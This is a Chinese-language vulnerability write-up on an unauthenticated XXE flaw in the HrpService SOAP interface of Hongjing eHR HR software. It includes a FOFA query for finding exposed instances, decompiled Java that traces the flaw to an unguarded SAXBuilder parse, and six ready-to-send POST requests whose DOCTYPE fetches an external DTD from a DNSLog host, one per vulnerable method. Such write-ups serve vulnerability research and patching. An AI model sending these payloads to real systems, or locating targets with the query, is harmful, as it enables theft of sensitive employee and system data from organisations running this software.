漏洞简介

宏景人力资源管理系统（eHR）是一款由宏景软件研发的系统。宏景人力资源管理系统的 HrpService 接口处存在XXE漏洞，未经过身份认证的远程攻击者可利用此漏洞获取系统敏感信息。

影响版本

fofa语法

app="HJSOFT-HCM"

漏洞分析

关于路由的分析以及两个路由请求触发方式，参考这篇文章：宏景eHR HrChangeInfoService SQL注入漏洞+XXE漏洞

因此我们直接去 WEB-INF/classes/META-INF/xfire/services.xml 查找我们本次审计的主角 HrpService 部分的定义：

<service xmlns="http://xfire.codehaus.org/config/1.0">
    <name>HrpService</name>
    <namespace>http://www.hjsj.com/HrpService</namespace>
    <serviceClass>com.hjsj.hrms.service.HrpIssuanceService</serviceClass>
  </service>
  <service xmlns="http://xfire.codehaus.org/config/1.0">
    <name>HrpServices</name>
    <namespace>http://www.hjsj.com/HrpServices</namespace>
    <serviceClass>com.hjsj.hrms.service.HrpIssuanceService</serviceClass>
  </service>

可以看到两个service均由同一个类处理，因此测试时可以有两种url方式 /services/HrpServices 和 /services/HrpService

impInfoByNotice

public String impInfoByNotice(String var1) {
        String var2 = "2";
        Connection var3 = null;
        HrIssuanceInterf var4 = new HrIssuanceInterf();

        try {
            var3 = AdminDb.getConnection();
            if (var3 != null) {
                var2 = var4.impInfoByMidtable(var1, var3);

跟进 impInfoByMidtable

public String impInfoByMidtable(String var1, Connection var2) {
        String var3 = "2";

        try {
            LazyDynaBean var4 = this.getParamBean(var1);
            DataImportBo var5 = new DataImportBo(var2);

跟进 getParamBean

private LazyDynaBean getParamBean(String var1) throws GeneralException {
        LazyDynaBean var2 = new LazyDynaBean();

        try {
            byte[] var3 = var1.getBytes();
            ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
            SAXBuilder var5 = new SAXBuilder();
            Document var6 = var5.build(var4);
            Object var7 = null;

最终初始的 var1 参数被直接带入 getParamBean 中使用 SAXBuilder 进行解析造成XXE漏洞。

getHolidayMsg

Huayu_peWageRecv

getRemainHolidays

syncHolidayMsg

updateHolidays

漏洞复现

impInfoByNotice

POST /services/HrpService HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/impInfoByNotice">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:impInfoByNotice>
         <hrp:in0><syscode>&send;</syscode></hrp:in0>
      </hrp:impInfoByNotice>
   </soapenv:Body>
</soapenv:Envelope>

DNSLOG 平台成功收到DNS和HTTP请求

getHolidayMsg

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/getHolidayMsg">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:getHolidayMsg>
         <hrp:in0>ORs1P9DMem9byoEeSArcK+T60iqKxo6h2M7ONzAhR7w=</hrp:in0>
         <hrp:in1>cni23</hrp:in1>
         <hrp:in2><syscode>&send;</syscode></hrp:in2>
      </hrp:getHolidayMsg>
   </soapenv:Body>
</soapenv:Envelope>

Huayu_peWageRecv

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/Huayu_peWageRecv">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:Huayu_peWageRecv>
         <hrp:in0><syscode>&send;</syscode></hrp:in0>
      </hrp:Huayu_peWageRecv>
   </soapenv:Body>
</soapenv:Envelope>

getRemainHolidays

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/getRemainHolidays">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:getRemainHolidays>
         <hrp:in0>ORs1P9DMem9byoEeSArcK+T60iqKxo6h2M7ONzAhR7w=</hrp:in0>
         <hrp:in1>cni23</hrp:in1>
         <hrp:in2><syscode>&send;</syscode></hrp:in2>
      </hrp:getRemainHolidays>
   </soapenv:Body>
</soapenv:Envelope>

syncHolidayMsg

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/syncHolidayMsg">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:syncHolidayMsg>
         <hrp:in0>ORs1P9DMem9byoEeSArcK+T60iqKxo6h2M7ONzAhR7w=</hrp:in0>
         <hrp:in1>cni23</hrp:in1>
         <hrp:in2><syscode>&send;</syscode></hrp:in2>
      </hrp:syncHolidayMsg>
   </soapenv:Body>
</soapenv:Envelope>

updateHolidays

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/updateHolidays">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:updateHolidays>
         <hrp:in0>ORs1P9DMem9byoEeSArcK+T60iqKxo6h2M7ONzAhR7w=</hrp:in0>
         <hrp:in1>cni23</hrp:in1>
         <hrp:in2><syscode>&send;</syscode></hrp:in2>
      </hrp:updateHolidays>
   </soapenv:Body>
</soapenv:Envelope>